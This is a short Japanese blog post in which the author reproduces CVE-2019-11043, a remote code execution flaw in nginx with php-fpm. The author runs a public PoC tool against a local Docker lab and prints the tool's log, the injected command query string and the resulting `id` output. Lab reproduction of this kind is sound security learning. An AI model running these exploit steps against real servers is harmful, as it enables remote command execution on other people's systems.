LoginSignup
3
0

More than 3 years have passed since last update.

Exploit とか PoC とか呼ばれるものを触ってみる

Last updated at Posted at 2019-12-21

脆弱性検証するための実証コード

今回、対象とした脆弱性は CVE-2019-11043 とかで識別されるもので、昨今よく使われているだろう nginx + php-fpm の組み合わせで発生するもので、「脆弱性の概念実証(PoC)が公開」されている旨、紹介されていた(*1)ものになります。

とりあえず、その記事を見ると、GitHub のリポジトリ(*2)へのリンクがあり、アクセスしてみると、画面の下の方(README.md)に使い方が丁寧に説明されています。。英語ですが。

run

触ってみるために、内容の確認もそこそこにHow to runの箇所へ。
自分の環境は普段からちょこちょこ使ってる WSL(ubuntu18.04) なのですが、go とか触ってなかったので

$ sudo apt install golang-go

でコマンド入れてから

$ go get github.com/neex/phuip-fpizdam

を実行しました。

$ git clone https://github.com/neex/phuip-fpizdam.git
$ cd phuip-fpizdam/reproducer
$ docker build -t reproduce-cve-2019-11043 .
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

Docker Desktop を起動しわすれてたので、Settings -> General の Expose... を確認して、環境設定し、もう一度

$ export DOCKER_HOST=tcp://localhost:2375
$ time docker build -t reproduce-cve-2019-11043 .

It takes a long time as... とあったので、こっそり time 付けて実行

Successfully built 16b836a144f5
Successfully tagged reproduce-cve-2019-11043:latest

real    18m19.682s
user    0m0.578s
sys     0m0.766s

さくっと、、、という感じでなく、確かに時間が掛かって終了。。

docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043

とりあえず、走らせて、ブラウザでマニュアルどおり http://127.0.0.1:8080/script.php?a=id にアクセスし、リロードを何度か繰り返す
→ 空のページが表示

で、別途 WSL を起動し、実証コードを実行

$ go/bin/phuip-fpizdam http://localhost:8080/script.php
2019/12/19 07:13:53 Base status code is 200
2019/12/19 07:13:53 Status code 502 for qsl=1765, adding as a candidate
2019/12/19 07:13:54 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/12/19 07:13:54 Status code 502 for &main.AttackParams{QueryStringLength:1760, PisosLength:3}
2019/12/19 07:13:55 Attack params found: --qsl 1760 --pisos 55 --skip-detect
2019/12/19 07:13:55 Trying to set "session.auto_start=0"...
2019/12/19 07:13:55 Detect() returned attack params: --qsl 1760 --pisos 55 --skip-detect <-- REMEMBER THIS
2019/12/19 07:13:55 Performing attack using php.ini settings...
2019/12/19 07:13:55 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/12/19 07:13:55 Trying to cleanup /tmp/a...
2019/12/19 07:13:55 Done!

そして、同様に先程のページ http://127.0.0.1:8080/script.php?a=id のリロードを繰り返すと空のページも表示されるが uid=33(www-data) gid=33(www-data) groups=33(www-data)id コマンドを実行した結果が表示されるように。

待ち時間はあるけども、15分ほど読みつつ手を動かせば、コマンドが実行出来てしまうのを実感。。

(*1) https://jp.tenable.com/blog/cve-2019-11043-vulnerability-in-php-fpm-could-lead-to-remote-code-execution-on-nginx
(*2) https://github.com/neex/phuip-fpizdam

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0